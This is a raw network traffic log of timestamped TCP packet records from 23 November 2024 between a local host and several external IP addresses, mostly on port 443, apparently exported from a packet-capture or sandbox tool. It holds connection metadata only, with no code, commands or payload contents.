Nov 23, 2024 05:02:30.831347942 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.844156981 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.844238043 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.844253063 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.857790947 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.857855082 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.857861996 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.871260881 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.871335030 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.871341944 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.884838104 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.884901047 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.884910107 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.890769005 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:30.890822887 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:30.890942097 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:30.892668009 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:30.892699957 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:30.897334099 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.897432089 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.897439957 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.909862995 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.909926891 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.909934998 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.924969912 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.925020933 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.925028086 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.934808969 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.934843063 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.934881926 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.934895039 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.934967041 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.948890924 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.961437941 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:30.961535931 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:30.961546898 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.010126114 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.010138035 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.020962000 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.021053076 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.021061897 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.031150103 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.031219006 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.031232119 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.033329964 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.033391953 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.033399105 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.043422937 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.043523073 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.043531895 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.055747986 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.055807114 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.055814981 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.068279982 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.068383932 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.068393946 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.080244064 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.080316067 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.080327034 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.091629028 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.091708899 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.091717005 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.102648973 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.102726936 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.102735043 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.113394022 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.113451958 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.113460064 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.123977900 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.124078035 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.124087095 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.134954929 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.135066986 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.135073900 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.145051003 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.145163059 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.145170927 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.154845953 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.154915094 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.154922962 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.164524078 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.164670944 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.164679050 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.173696995 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.173789024 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.173796892 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.182728052 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.182812929 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.182820082 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.191308022 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.191406965 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.191415071 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.200130939 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.200346947 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.200355053 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.207123995 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.207227945 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.207236052 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.215863943 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.216007948 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.216016054 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.222026110 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.222107887 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.222115040 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.226946115 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.227116108 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.227123976 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.232530117 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.232593060 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.232599974 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.237845898 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.237957954 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.237965107 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.243333101 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.243437052 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.243443966 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.248554945 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.248651028 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.248658895 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.253846884 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.253927946 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.253937006 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.259219885 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.259337902 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.259344101 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.264691114 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.264780045 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.264792919 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270041943 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270072937 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270090103 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.270100117 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270143986 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.270150900 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270827055 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:31.270884991 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.271174908 CET	49747	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:31.271192074 CET	443	49747	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:32.109847069 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:32.109879017 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:32.110023975 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:32.110256910 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:32.110271931 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:32.139832020 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.140424013 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.140461922 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.140902996 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.140914917 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.218967915 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.219470024 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.219486952 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.219903946 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.219909906 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.240521908 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.241049051 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.241060972 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.241458893 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.241462946 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.352140903 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.352633953 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.352648020 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.353126049 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.353131056 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.405229092 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.406330109 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.406371117 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.406753063 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.406765938 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.599040031 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.599128962 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.599199057 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.599472046 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.599472046 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.599529982 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.599570990 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.604768991 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.604810953 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.604933023 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.605350018 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.605381012 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.623097897 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:32.623178959 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:32.629729986 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:32.629761934 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:32.630141973 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:32.672837019 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.672885895 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.672933102 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.683479071 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.683499098 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.683559895 CET	49756	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.683567047 CET	443	49756	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.684098959 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:32.684890985 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.684967041 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.685153961 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.694206953 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.694216013 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.694221020 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.694226027 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.696633101 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.696676970 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.696796894 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.697977066 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.698003054 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.698060989 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.698147058 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.698162079 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.698267937 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.698280096 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.709744930 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:32.733100891 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:32.733138084 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:32.733202934 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:32.734200954 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:32.734211922 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:32.751375914 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:32.795747042 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.795824051 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.795933008 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.795995951 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.796011925 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.796045065 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.796052933 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.798207998 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.798284054 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.798522949 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.798652887 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.798687935 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.858169079 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.858354092 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.858429909 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.858530045 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.858530045 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.858563900 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.858588934 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.861243010 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.861279964 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:32.861469030 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.861553907 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:32.861576080 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:33.304141045 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304167986 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304177046 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304193974 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304208994 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304213047 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304234028 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.304260969 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.304299116 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.304322958 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.325723886 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.325810909 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.325834036 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.325855970 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.325910091 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.326715946 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.326751947 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.326776981 CET	49761	443	192.168.2.6	172.202.163.200
Nov 23, 2024 05:02:33.326792955 CET	443	49761	172.202.163.200	192.168.2.6
Nov 23, 2024 05:02:33.678966045 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:33.679158926 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:33.798460960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:33.798592091 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:33.798674107 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:33.798871994 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:33.844245911 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:33.844511986 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:33.844531059 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:33.844846964 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:33.845139027 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:33.845201969 CET	443	49767	142.250.181.68	192.168.2.6
Nov 23, 2024 05:02:33.898829937 CET	49767	443	192.168.2.6	142.250.181.68
Nov 23, 2024 05:02:33.918303967 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:34.237003088 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.237112999 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.238826990 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.238832951 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.239047050 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.277690887 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.319328070 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.383579016 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.384040117 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.384084940 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.401115894 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.401135921 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.483908892 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.484839916 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.484860897 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.485030890 CET	49772	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.485037088 CET	443	49772	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.542032003 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.542582035 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.542601109 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.542926073 CET	49771	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.542937040 CET	443	49771	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.627799988 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.628657103 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.628657103 CET	49775	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.628710985 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.628736973 CET	443	49775	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.649573088 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.650043964 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.650067091 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.652122974 CET	49776	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.652134895 CET	443	49776	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.690850973 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:34.690881968 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:34.691004992 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:34.691591024 CET	49780	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:34.691605091 CET	443	49780	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:34.746007919 CET	49781	443	192.168.2.6	142.250.181.78
Nov 23, 2024 05:02:34.746041059 CET	443	49781	142.250.181.78	192.168.2.6
Nov 23, 2024 05:02:34.746298075 CET	49781	443	192.168.2.6	142.250.181.78
Nov 23, 2024 05:02:34.746298075 CET	49781	443	192.168.2.6	142.250.181.78
Nov 23, 2024 05:02:34.746330976 CET	443	49781	142.250.181.78	192.168.2.6
Nov 23, 2024 05:02:34.766446114 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.766522884 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.766664028 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.766664028 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.766694069 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.766740084 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.766746998 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.795697927 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.795722008 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.795866013 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.796103001 CET	49783	443	192.168.2.6	23.218.208.109
Nov 23, 2024 05:02:34.796113968 CET	443	49783	23.218.208.109	192.168.2.6
Nov 23, 2024 05:02:34.828260899 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.828310966 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.828562021 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.828562975 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.828887939 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.828915119 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.830842018 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.830856085 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.830964088 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.831039906 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:34.831046104 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:34.928353071 CET	443	49772	13.107.246.63	192.168.2.6
